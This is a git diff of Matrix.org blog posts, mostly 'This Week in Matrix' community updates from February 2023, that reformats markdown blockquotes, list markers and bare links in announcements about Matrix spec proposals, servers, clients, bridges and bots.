endpoints/methods, as per [MSC3743](https://github.com/matrix-org/matrix-spec-proposals/pull/3743). ([#1347](https://github.com/matrix-org/matrix-spec/issues/1347)) - ### Identity Service API - Backwards Compatible Changes - - Add information on standard error responses for unknown endpoints/methods, as per [MSC3743](https://github.com/matrix-org/matrix-spec-proposals/pull/3743). ([#1347](https://github.com/matrix-org/matrix-spec/issues/1347)) - ### Push Gateway API - Backwards Compatible Changes - - Add information on standard error responses for unknown endpoints/methods, as per [MSC3743](https://github.com/matrix-org/matrix-spec-proposals/pull/3743). ([#1347](https://github.com/matrix-org/matrix-spec/issues/1347)) - ### Room Versions - Backwards Compatible Changes - - Update the default room version to 10, as per [MSC3904](https://github.com/matrix-org/matrix-spec-proposals/pull/3904). ([#1397](https://github.com/matrix-org/matrix-spec/issues/1397)) - Spec Clarifications - - Clarify the grammar for room versions. ([#1422](https://github.com/matrix-org/matrix-spec/issues/1422)) - Fix various typos throughout the specification. ([#1423](https://github.com/matrix-org/matrix-spec/issues/1423)) - ### Appendices - No significant changes. - ### Internal Changes/Tooling - Spec Clarifications - - Add link to the unstable spec to the README. ([#1357](https://github.com/matrix-org/matrix-spec/issues/1357)) - Improve safety of the proposals retrieval script in the event of failure. ([#1368](https://github.com/matrix-org/matrix-spec/issues/1368)) - Rename `` to `content` in the OpenAPI files for content uploads. ([#1370](https://github.com/matrix-org/matrix-spec/issues/1370)) - Stop autogenerating examples where we already have an example. ([#1384](https://github.com/matrix-org/matrix-spec/issues/1384)) - Improve formatting of definitions in the Push Notifications section. ([#1415](https://github.com/matrix-org/matrix-spec/issues/1415)) - diff --git a/content/blog/2023/02/2023-02-16-synapse-1-77-released.md b/content/blog/2023/02/2023-02-16-synapse-1-77-released.md index 321dda61e..375869a3b 100644 --- a/content/blog/2023/02/2023-02-16-synapse-1-77-released.md +++ b/content/blog/2023/02/2023-02-16-synapse-1-77-released.md @@ -35,7 +35,7 @@ retrigger a noisy notification. That can be pretty annoying when the message is [MSC3958](https://github.com/matrix-org/matrix-spec-proposals/pull/3958) is here to solve that, and Synapse now implements it as an experimental feature. -### The quest for speed continues! +### The quest for speed continues Some iterative optimizations have been implemented that should make [joining or leaving](https://github.com/matrix-org/synapse/pull/14971) large rooms even faster, and should also [improve sending message](https://github.com/matrix-org/synapse/pull/14962). diff --git a/content/blog/2023/02/2023-02-17-this-week-in-matrix-2023-02-17.md b/content/blog/2023/02/2023-02-17-this-week-in-matrix-2023-02-17.md index 62ef7cf41..13df3ef81 100644 --- a/content/blog/2023/02/2023-02-17-this-week-in-matrix-2023-02-17.md +++ b/content/blog/2023/02/2023-02-17-this-week-in-matrix-2023-02-17.md @@ -20,50 +20,55 @@ Thib was away this week, Matrix Live is finally coming back next week! [madlittlemods (Eric Eastwood)](https://matrix.to/#/@madlittlemods:matrix.org) says > If you didn't already catch it this week, Gitter has fully migrated to Matrix! 😎 -> +> > We brought over all of the historical Gitter content to the `gitter.im` homeserver and gave everyone free rein over it via [app.gitter.im](https://app.gitter.im/), a Gitter branded Element instance. -> +> > Of course, since it's Matrix, you can use whatever client you want to access your public, private and one to one (now DM) conversations! -> -> You can read about the full details in the blog post: https://blog.gitter.im/2023/02/13/gitter-has-fully-migrated-to-matrix/ -> +> +> You can read about the full details in the blog post: +> > Happy chatting! 🤠 ## Dept of Spec 📜 [TravisR](https://matrix.to/#/@travis:t2l.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at +> +> > ## MSC Status -> +> > **Merged MSCs:** +> > * *No MSCs were merged this week.* -> +> > **MSCs in Final Comment Period:** +> > * [MSC3925: m.replace aggregation with full event](https://github.com/matrix-org/matrix-spec-proposals/pull/3925) (merge) -> +> > **New MSCs:** +> > * [MSC3967: Do not require UIA when first uploading cross signing keys](https://github.com/matrix-org/matrix-spec-proposals/pull/3967) -> +> > ## Spec Core Team +> > The Spec Core Team has been busy working away at [Matrix 1.6](https://matrix.org/blog/2023/02/14/matrix-v-1-6-release) (released earlier in the week) and aiming to get [MSC3925: `m.replace` aggregation with full event](https://github.com/matrix-org/matrix-spec-proposals/pull/3925), [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-spec-proposals/pull/3952), and [MSC2677: Annotations and reactions](https://github.com/matrix-org/matrix-spec-proposals/pull/2677) and all of their dependencies through the spec process. These are all MSCs the SCT has been asked to help get through the process - if there's an MSC we should be looking at, please let us know in [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org). -> +> > ## IETF/MIMI/DMA -> +> > With the Extensible Events Core ([MSC1767](https://github.com/matrix-org/matrix-spec-proposals/pull/1767)) being accepted last week, the focus now turns to all the other extensible event MSCs for images, files, etc. How does extensible events relate to IETF/MIMI/DMA, you ask? In our mission for having Matrix be the standard for interoperability, we need a content format that works for everyone. Events prior to MSC1767 *could* work with enough effort, though MSC1767's system makes things *a lot* easier when representing arbitrarily complex messaging features. -> +> > Stay tuned to TWIM for progress in this area. It's a relatively slow process, but we're working through it. -> +> > ## Random MSC of the week -> +> > This week's random MSC is [MSC2785: Event notification attributes and actions](https://github.com/matrix-org/matrix-spec-proposals/pull/2785)! This is effectively a replacement for the push rules system we have today, and a super interesting one (how do you even design a notifications system?). Focus has shifted a little bit since this MSC was first opened, though its ideas still comes up frequently when aiming to make smaller changes to push rules today. -> +> > ## The Chart -> +> > The chart has been giving us a bit of grief when trying to be generated, but today it seems agreeable enough to include - enjoy :) -> +> +> > ![](/blog/img/092f8db1dc653308874f4bcb3a8f5fc43e0d6dbf.png) @@ -73,9 +78,9 @@ Thib was away this week, Matrix Live is finally coming back next week! [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) announces ### Construct ([website](https://github.com/matrix-construct/construct)) -> +> > Construct 0.9 is out. New commands have been added to [manage bridges](https://github.com/matrix-construct/construct/wiki/Bridges). I'd like to thank tulir for accepting the [associated documentation](https://docs.mau.fi/bridges/general/registering-appservices.html#construct) for mautrix users. I'd like to thank @bgiovanni for driving the features and fixes for this epoch. I'd also like to give special mention to qg of schildichat for helping diagnose issues. -> +> > This will be the final minor version. Construct is nearly stable and is on approach to 1.0. Stay tuned for the coming weeks. Don't forget to idle and perform [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) ## Dept of Bridges 🌉 @@ -85,7 +90,7 @@ Thib was away this week, Matrix Live is finally coming back next week! [imbev](https://matrix.to/#/@imbev:matrix.org) announces > A bridge for reading RSS feeds in Matrix rooms. -> +> > This week matrix-rss-bridge received support for authentication to Matrix homeservers via access token or login (SSO) token. Thank you to SuperEmotes for contributing! ## Dept of Clients 📱 @@ -101,13 +106,13 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) says > * This week we sunset Gitter; users were migrated over to Element. [There’s more info here](https://blog.gitter.im/2023/02/13/gitter-has-fully-migrated-to-matrix/) -> - As part of this work we’re continuing to work on the migration, polish, and other remaining pieces, including; fully supporting archive rooms +> * As part of this work we’re continuing to work on the migration, polish, and other remaining pieces, including; fully supporting archive rooms > * We completed the first draft of automated Linux packaging! > * A bug was reported on room ordering; it’s been fixed > * Also, we’re investigating messages sometimes sending out of order -> +> > In labs (you can enable labs in settings on develop.element.io or on Nightly): -> +> > * The rich text editor continues to improve! ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -117,12 +122,12 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says > * This week in ElementX land was still mostly about stabilization and bug fixes, but we did manage to sneak a couple of features in too: -> * fixed the integration tests and improved the UI ones -> * a developer menu for supporting features while in development -> * added support for attaching screenshots to feedback reports -> * almost finished with the reporting content flows -> * started on collapsible room state events -> * and more +> * fixed the integration tests and improved the UI ones +> * a developer menu for supporting features while in development +> * added support for attaching screenshots to feedback reports +> * almost finished with the reporting content flows +> * started on collapsible room state events +> * and more > * Meanwhile there’s a new version of Element available on the AppStore that brings with it the ability to mark rooms as unread and a brand new Poll History screen ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -142,11 +147,11 @@ Secure and independent communication for Android, connected via Matrix. Come tal [td](https://matrix.to/#/@td:technodisaster.com) says > We released another breaking change this week :p bump to v0.17.0 -> +> > Introduced a couple of new features like upgrading voice calls to video calls, some neat helper functions for group calls. Fixes include cleaning group call state events, fixing the searchEvent function, a way to get own profile from server and then fallback to room profile and also fixes to the /markasdm command. -> +> > Complete changelog: -> +> > * fix: ability to upgrade audio calls to video calls (td) > * chore: add a fetchOwnProfileFromServer method which tries to get ownProfile from server first, disk then (td) > * fix: clean expired member state events in group calls (td) @@ -169,24 +174,24 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr [Kévin Commaille](https://matrix.to/#/@zecakeh:tedomum.net) reports > It's been a while since our last update in November, but it just means we have been busier than ever! A lot has happened to follow changes in the Matrix specification as well as fixing bugs in our codebase or making our API easier to use. -> +> > We have released Ruma 0.8.0 and 0.8.1 at the beginning of the month. It was long overdue with a lot of improvements, including but not limited to: -> +> > * Stabilized support for all the changes and features of Matrix 1.4 and Matrix 1.5 > * Making our request types use owned instead of borrowed data > * Replacing `ruma_api!` with more flexible macros > * Fixing the serialization and deserialization of redacted events > * Reorganizing our `*EventContent` traits to allow event content types to only implement what is really needed -> * Removing sensitive data from the `Debug`-format representation of our types -> +> * Removing sensitive data from the `Debug`-format representation of our types +> > And on the 15th we released Ruma 0.8.2 with a few bug fixes but also stabilized support for all the changes and features of Matrix 1.6! -> +> > Although it might be less visible in our changelogs, we also regularly add support for MSCs, and try to keep our implementations up-to-date. A few examples: -> +> > * Sliding sync (MSC3575 and others, currently used by Element X via the matrix-rust-sdk) > * Extensible events (MSC1767 and others) > * Push rule condition for room version features (MSC3931 and MSC3932) -> +> > We also have a bunch of issues opened if you feel like contributing, so come say hi! ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -208,7 +213,7 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) announces > [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) is progressing toward switching to [Traefik](https://traefik.io/) as the default reverse-proxy, instead of [nginx](https://nginx.org/). As a project running everything in containers, it's only natural to be using a container-native reverse-proxy. -> +> > Our changelog entry [Reverse-proxy configuration changes and initial Traefik support](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/CHANGELOG.md#backward-compatibility-reverse-proxy-configuration-changes-and-initial-traefik-support) contains the backstory, current progress and future goals. ## Dept of Services 🚀 @@ -220,15 +225,15 @@ Your matrix server on your conditions [Slavi](https://matrix.to/#/@slavi:etke.cc) says > The FOSS-based [etke.cc managed Matrix server hosting service](https://etke.cc) (built on top of [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)) has turned 2 years old 🎉 -> +> > Besides some upstream Ansible playbook feature contributions, a bunch of Matrix-related tools were developed and released as free-software by the etke.cc team over the past year, among which: -> +> > * [Postmoogle](https://gitlab.com/etke.cc/postmoogle) email bridge, which superseded the much more basic [email2matrix](https://github.com/devture/email2matrix) bridge > * [Scheduler](https://gitlab.com/etke.cc/int/scheduler) - a bot that handles Matrix server maintenance > * [Buscarron](https://gitlab.com/etke.cc/buscarron) - a web form to matrix bot -> +> > In addition, the etke.cc team has grown and many other service improvements were made. -> +> > To learn more about last year's progress, see the [full news article](https://etke.cc/news/upsyw4ykbtgmwhz8k7ukldx0zbbfq-fh0iqi3llixi0/). ## Dept of Bots 🤖 @@ -238,7 +243,7 @@ Your matrix server on your conditions [HER0](https://matrix.to/#/@HER0:matrix.org) announces > The biggest change to the bot has been the tweaking of event reminders sent in `#flip:flip.earth`. We now send a lightweight event notification 24 hours before the scheduled time of the event, and don't send one if the event takes place in 19 minutes or less. -> +> > Outside of these tweaks, there is a minimally-working branch that can send updates to Mastodon! See the [Mastodon issue](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/16) for details. Before this is completed, several things need to be done, including [creating events on our website](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/28). ## Dept of Guides 🧭 @@ -248,13 +253,13 @@ Your matrix server on your conditions [MTRNord](https://matrix.to/#/@mtrnord:midnightthoughts.space) announces > It has been a while since I last wrote about my Matrix Wiki. Mostly because not much happened. -> +> > Recently, [Whisper.cpp](https://github.com/ggerganov/whisper.cpp) took off and I started to [tinker](https://github.com/MTRNord/transcribe-matrix-live) with it. Earlier I did already try to transcribe Matrix Live [manually](https://en.miki.community/wiki/Draft:Matrix_Live_S0704). Today I combined the 2 things. -> +> > As a Result, I am trying to better/faster build small pages with Shownotes and a Text Transcription of Matrix Live episodes each week. -> -> The first one can be found at https://en.miki.community/wiki/Matrix_Live_S08E17 for the last episode. -> +> +> The first one can be found at for the last episode. +> > Feel free to raise critique, wishes and other ideas in [#matrix-live-transcriptions:midnightthoughts.space](https://matrix.to/#/#matrix-live-transcriptions:midnightthoughts.space) :) ## Dept of Ping @@ -262,6 +267,7 @@ Your matrix server on your conditions Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -278,6 +284,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|mindlesstux.com|629| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/02/2023-02-24-this-week-in-matrix-2023-02-24.md b/content/blog/2023/02/2023-02-24-this-week-in-matrix-2023-02-24.md index 964563a8a..c7ca29c17 100644 --- a/content/blog/2023/02/2023-02-24-this-week-in-matrix-2023-02-24.md +++ b/content/blog/2023/02/2023-02-24-this-week-in-matrix-2023-02-24.md @@ -11,44 +11,50 @@ category = ["This Week in Matrix"] {{ youtube_player(video_id="25wkV2ZCSsM") }} -Transcription (Community made): https://en.miki.community/wiki/Matrix_Tutorial_7 +Transcription (Community made): ## Dept of Spec 📜 [TravisR](https://matrix.to/#/@travis:t2l.io) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at +> +> > ## MSC Status -> +> > **Merged MSCs:** +> > * [MSC3925: m.replace aggregation with full event](https://github.com/matrix-org/matrix-spec-proposals/pull/3925) -> +> > **Closed MSCs:** +> > * [MSC2000: Server-side password policies](https://github.com/matrix-org/matrix-spec-proposals/pull/2000) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **New MSCs:** +> > * [MSC3970: Scope transaction IDs to devices](https://github.com/matrix-org/matrix-spec-proposals/pull/3970) > * [MSC3969: Size limits](https://github.com/matrix-org/matrix-spec-proposals/pull/3969) > * [MSC3968: Poorer features](https://github.com/matrix-org/matrix-spec-proposals/pull/3968) -> +> > ## Spec Core Team +> > In terms of Spec Core Team MSC focus for this week, we've been aiming to get the requirements for [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) landed as well as discussing MSC3952 itself, in addition to planning out what the next few spec releases are expected to look like. -> +> > Watch this space for progress on the Matrix 2.0 MSCs and other critical path items :) -> +> > ## Curated MSC of the week -> +> > This week's ~~random~~ chosen MSC is [MSC3575: Sliding Sync](https://github.com/matrix-org/matrix-spec-proposals/pull/3575)! It's one of the largest (or is the largest?) MSCs we've ever had, and dramatically changes how clients actually get updates from the server. It's worth the read if you're a client developer, though the team working on it is ironing out some bugs. Let us know what you think on the MSC :) -> +> > ## The Chart -> +> > It seemingly was okay with being generated this week again, so here it is: -> +> +> > ![](/blog/img/989eabd54cc356d4a7c6796bd28c713339dd6590.png) @@ -63,13 +69,13 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > Howdy, welcome to another week in Synapse-land. We've released v1.78.0rc1 > with some cool bugfixes and features. Some notable additions in this version are: -> -> * Fixed a long-standing bug where the room aliases returned could be corrupted. -> * Fixed a bug introduced in Synapse 1.76.0 where partially-joined rooms could not be deleted using the [purge room API](https://matrix-org.github.io/synapse/latest/admin_api/rooms.html#delete-room-api). -> * Fixed a long-standing bug where federated joins would fail if the first server in the list of servers to try is not in the room. +> +> * Fixed a long-standing bug where the room aliases returned could be corrupted. +> * Fixed a bug introduced in Synapse 1.76.0 where partially-joined rooms could not be deleted using the [purge room API](https://matrix-org.github.io/synapse/latest/admin_api/rooms.html#delete-room-api). +> * Fixed a long-standing bug where federated joins would fail if the first server in the list of servers to try is not in the room. > * Implement the experimental `exact_event_match` push rule condition from [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758). > * Added account data to the command line [user data export tool](https://matrix-org.github.io/synapse/v1.78/usage/administration/admin_faq.html#how-can-i-export-user-data) -> +> > and much more! Take a closer look [here](https://github.com/matrix-org/synapse/releases) in the release notes and have a happy Friday. ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -79,13 +85,13 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) reports > There's been progress in several areas for Construct 0.9 this week, cut with 71 new commits. First I'd like to give special thanks for @bgiovanni for continuing to drive the progress this week; they have on several occasions been able to navigate the codebase and the specification to provide concise reports so I can fix anything in mere minutes. I hope we can keep this up. -> +> > Construct can now be configured to purge a room from the database after the last local user leaves. This week I also took the plunge on implementing a controversial clause in the specification which requires a server to broadcast a join event on behalf of another server. This is problematic because it's technically an amplification attack, so I've done my best to narrow the conditions for when to actually perform this: only if the counter-party is not already joined, and only if Construct has an alias set for the room being joined. -> +> > In other news, I [fixed a bug](https://github.com/chriskohlhoff/asio/pull/1215) in `boost::asio` but since that won't land for a while and Construct's `io_uring(7)` might be susceptible on Arch and Gentoo [I hacked a workaround](https://github.com/matrix-construct/construct/commit/884c2e68b71c92d223d312f60f35b9be81960a8c) just for us, especially since the old `epoll(7)` + `aio(7)` makes my desktop much less responsive (I can't believe I dealt with that for years!). -> +> > Next week Yan Minari might have a deeper look at Sytest and Complement integration and maybe mdad, while I plan on implementing local room policies and user management to make Construct safe for public registration. -> +> > If you're looking for an alternative to synapse please check us out at [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) ### Conduit ([website](https://conduit.rs)) @@ -96,7 +102,7 @@ Conduit is a simple, fast and reliable chat server powered by Matrix > Hey all, in the past weeks I have been working on message backfilling over > federation (!), history visibility correctness and a bunch of small bug fixes. -> +> > Prepare for a new Conduit release in the near future! ## Dept of Clients 📱 @@ -108,24 +114,24 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Some of you might have already seen it, but for the rest I will just spoil the surprise now: We released 0.11.2 (and 0.11.3, don't ask...) this week! Now you can easily hide spoilers by just enclosing the message with `||`, search for users in the user directory and much more. I have included the changelog below so you don't need to look for it! -> +> > ### Highlights -> +> > * Improved Markdown input 🗒️ -> - You can now enter strike-through and spoilers using `~~` and `||` +> * You can now enter strike-through and spoilers using `~~` and `||` > respectively. -> - Single line-breaks now also create a line-break in the formatted message. -> - Code tags now preserve whitespace. +> * Single line-breaks now also create a line-break in the formatted message. +> * Code tags now preserve whitespace. > * User search in the invite dialog 🧑‍🤝‍🧑 (Malte E) -> - Can search either locally or consult the user directory on your server. -> +> * Can search either locally or consult the user directory on your server. +> > ### Features -> +> > * Allow disabling animations before login. > * Set the window role to "imageoverlay" on X11. (Thulinma) -> +> > ### Improvements -> +> > * The Nheko binary should now be slightly smaller. > * You can now build Nheko against a system install of the blurhash and > cpp-httplib libraries. (vitaly) @@ -148,9 +154,9 @@ Desktop client for Matrix using Qt and C++17. > * Make it more obvious that the add reaction button is not an emoji. > * Build only the gstreamer qml plugin in flatpak. > * Update Ubuntu dependency list for building from source. (tastytea) -> +> > ### Translations -> +> > * Estonian (Priit) > * Ukrainian (NullPointerException) > * Indonesian (Linerly) @@ -161,9 +167,9 @@ Desktop client for Matrix using Qt and C++17. > * Italian (DynamoFox, Elia Tomasi, Joseph Curto, Quanterxotur) > * Russian (Evgeny, SOT-TECH) > * Finnish (Lurkki) -> +> > ### Bugfixes -> +> > * You can now forward stickers again. > * Edits shouldn't "jump" out of threads anymore. > * Focus text input when quick switcher is closed. (LorenDB) @@ -174,9 +180,9 @@ Desktop client for Matrix using Qt and C++17. > * Don't double free call devices. (Jason) > * Work around multiple destructor calls on Clang. (Jason) > * Html in sidebar. -> -> You can find most of the downloads either in your favourite distributions repository (even including Arch now!), flathub or on our releases page: https://github.com/Nheko-Reborn/nheko/releases/tag/v0.11.3 -> +> +> You can find most of the downloads either in your favourite distributions repository (even including Arch now!), flathub or on our releases page: +> > Thank you, everyone who contributed! ### Fractal ([website](https://gitlab.gnome.org/GNOME/fractal)) @@ -186,21 +192,21 @@ Matrix messaging app for GNOME written in Rust. [Kévin Commaille](https://matrix.to/#/@zecakeh:tedomum.net) says > Hello all! Fractal 4.4.2-beta2 is available on Flathub Beta. -> +> > You read correctly, it's not Fractal 5 yet. This is a maintenance release that fixes the compilation of Fractal 4.4 with recent libraries and allows to build the Flatpak with the latest GNOME runtime. That means no more warning that the GNOME 41 runtime is outdated! -> +> > There are no new features, but since we updated a lot of Rust dependencies we preferred to release a beta version before using it to update our stable release to the latest runtime. So please test it and if no major regression is reported, we will release it as stable in two weeks. -> +> > To get it, run the following commands: -> +> > ```sh > flatpak remote-add --if-not-exists flathub-beta https://flathub.org/beta-repo/flathub-beta.flatpakrepo > flatpak install flathub-beta org.gnome.Fractal > flatpak run --branch=beta org.gnome.Fractal > ``` -> +> > Note that if you always want to use this beta version instead of the stable one, and run it from the icon in your launcher, you will need to change its desktop file to use the command in the last line. -> +> > See you soon with some news regarding Fractal 5 hopefully! ### Ement.el ([website](https://github.com/alphapapa/ement.el)) @@ -210,19 +216,22 @@ Matrix client for Emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) reports > Changes since the last release include: -> +> > *Additions* -> - Command `ement-view-space` to view a space's rooms in a directory buffer. -> +> +> * Command `ement-view-space` to view a space's rooms in a directory buffer. +> > *Changes* -> - Improve -ement-describe-room- command (formatting, bindings). -> +> +> * Improve -ement-describe-room- command (formatting, bindings). +> > *Fixes* -> - Retry sync for HTTP 502 "Bad Gateway" errors. -> - Formatting of unban events. -> - Update password authentication according to newer Matrix spec. (Fixes compatibility with Conduit servers.) -> - Image scaling issues. -> +> +> * Retry sync for HTTP 502 "Bad Gateway" errors. +> * Formatting of unban events. +> * Update password authentication according to newer Matrix spec. (Fixes compatibility with Conduit servers.) +> * Image scaling issues. +> > Feel free to join us in `#ement.el:matrix.org`! ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -240,10 +249,12 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says -> This week we were very busy squashing bugs in Element X and we’re happy to announce that we are ready to make it available to the general public as a TestFlight app available for iOS, iPadOS and macOS (on Apple Silicon) soon (pending Apple's review). This is a pre-alpha version of the app which features the new faster sync and basic functionality. There are lots more features coming over the next few weeks! We will share the public link in our new Element X iOS public room over at https://matrix.to/#/#element-x-ios:matrix.org -> +> This week we were very busy squashing bugs in Element X and we’re happy to announce that we are ready to make it available to the general public as a TestFlight app available for iOS, iPadOS and macOS (on Apple Silicon) soon (pending Apple's review). This is a pre-alpha version of the app which features the new faster sync and basic functionality. There are lots more features coming over the next few weeks! We will share the public link in our new Element X iOS public room over at +> +> > ![](/blog/img/OWwheRnOEsspBIIAubrykYph.png) -> +> +> > ![](/blog/img/xMgrOxstCFfdrMNtNaBZYznT.png) ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -253,7 +264,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Jorge Martín](https://matrix.to/#/@jorgem:element.io) says > This week our efforts have been split between Element X and Element Android: -> +> > * On Element X, we're focused on laying the foundations for the app, improving our tools and processes for distributing the updated Rust SDK as an Android module and refining the initial screens of the app, matching the new designs and UX flows. > * On Element Android, we've released a new version 1.5.26 with more fixes and improvements for the Rich Text Editor, Polls and Location Sharing features, to name a few of them. @@ -264,7 +275,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [ben](https://matrix.to/#/@ben:acter.global) says > Happy to announce a neat little CLI tool (built with rust, of course) to migrate your matrix rooms from one account to another: [matrix-migrate](https://github.com/acterglobal/matrix-migrate) is inspired by the [the EMS migrator](https://ems.element.io/tools/matrix-migration), but -> +> > 1. is a nice little CLI tool, based on `matrix-rust-sdk` > 2. allows for restarts (refreshes at the beginning) > 3. it runs the operations async in parallel and is thus quite a bit faster @@ -276,14 +287,15 @@ Matrix Wrench is a web client to tweak Matrix rooms. [Christian Paul (jaller94)](https://matrix.to/#/@jaller94:matrix.org) reports > ## Matrix Wrench 0.11.0 -> +> > I've continued to develop Matrix Wrench, a webapp for techy Matrix admins to manage rooms and room state. It can be hosted on any static web space, supports multiple logins and has just one direct dependency (htm/preact). -> +> > Lots of great new features got released in the last two weeks. Here are the highlights: +> > * Added: Tables of joined rooms and direct contacts > * Added: New input for identities: Masquerade As Matrix ID (for AppService tokens) > * Fixed: Knocking button didn't work ("Error: Content not JSON.") -> +> > Check out the [changelog of Matrix Wrench](https://gitlab.com/jaller94/matrix-wrench/-/blob/main/CHANGELOG.md). ## Dept of Widgets 🧩 @@ -293,13 +305,14 @@ Matrix Wrench is a web client to tweak Matrix rooms. [Oliver Sand](https://matrix.to/#/@oliver.sand:matrix.org) reports > After we had some great time at [FOSDEM](https://matrix.org/blog/category/this-week-in-matrix#fosdem-2023) and where we were able to test our [Barcamp widget](https://github.com/nordeck/matrix-barcamp) with a broader group, we are thrilled to announce that we finally made the next widget public: -> -> Entering the [_matrix-meetings-widget_](https://github.com/nordeck/matrix-meetings)! +> +> Entering the [*matrix-meetings-widget*](https://github.com/nordeck/matrix-meetings)! > The widget allows to plan meetings, invite other users, configure meetings rooms, view your calendar, and perform video conferences. > All data is stored in Matrix, no external service required. As the Widget API is a bit limited for this use-cases, it's a combination of a widget and a bot. -> +> > As a small teaser: We are in the progress of building a whiteboard widget that is fully based on Matrix without an external storage. > If you have any questions, reach out to us at [#nordeck:matrix.org](https://matrix.to/#/#nordeck:matrix.org). +> > ![](/blog/img/DkikZsXPUKjJqJcArBszOaHw.png) ## Dept of SDKs and Frameworks 🧰 @@ -325,7 +338,6 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt ## Dept of Bots 🤖 - ### mnotify [stefan](https://matrix.to/#/@rumpelsepp:hackbrettl.de) announces @@ -338,7 +350,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt > A new pingbot (echobot) has been implemented as an application service. > There is an instance of it operating in [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) currently; and there is some discussion of it there. -> Source: https://codeberg.org/cel2/pingbot-appservice-rs https://git.scuttlebot.io/%2531GZTczroR1ldeWb0BbZH10MCWh9dd5HQM9qiN734YY%3D.sha256/ +> Source: ### flip-matrix-bot ([website](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot)) @@ -347,9 +359,9 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [HER0](https://matrix.to/#/@HER0:matrix.org) says > We now have a nice web page for each event! These provide a convenient way to share event details with others, and are already used in the iCalendar feed. If/when updates to Mastodon and Steam are live, they will also use these pages. For an example web page, this corresponds to the event coming up this weekend: -> -> https://friendlylinuxplayers.org/events/70392fec3bc0393e -> +> +> +> > In addition, there was some refactoring merged, thanks to a community member. ## Dept of Events and Talks 🗣️ @@ -359,20 +371,20 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [Christian Paul (jaller94)](https://matrix.to/#/@jaller94:matrix.org) reports > Meet Nico who many might know as the maintainer of the nheko client and a passionate critic. We talked about how he hopes to improve Matrix by voicing concerns on various change proposals and how the similarity of the names Nico and nheko is just a coincidence. -> -> Episode link: https://anchor.fm/matrix-podcast0/episodes/Nico---FOSDEM-2023-e1vf7g1 -> Mastodon post: https://mastodontech.de/@jaller94/109920366857895607 +> +> Episode link: +> Mastodon post: ### Matrix User Meetup Berlin [saces](https://matrix.to/#/@saces:c-base.org) says > Next Matrix user meetup 1.3.2023, 8 pm @ c-base -> +> > Meet other matrix users, chat about Matrix, the rest, and everything else, discuss your Matrix ideas, sign each other in persona, and maybe spice the evening with a good mate or beer. -> +> > Every first Wednesday of the month in the c-base at 8pm ('til the next pandemic). -> +> > Matrix room: [#mumb:c-base.org](https://matrix.to/#/#mumb:c-base.org) ## Dept of Guides 🧭 @@ -386,15 +398,16 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [du](https://matrix.to/#/@du:uxn.one) announces > ### Tech News in Matrix -> +> > Would you like to get your tech news inside of your Matrix client of choice? I've set up a simple room that pulls articles from dozens of quality RSS feeds (including This Week In Matrix) and posts them in the room. -> You can join the read-only room at: https://matrix.to/#/#tech:uxn.one +> You can join the read-only room at: 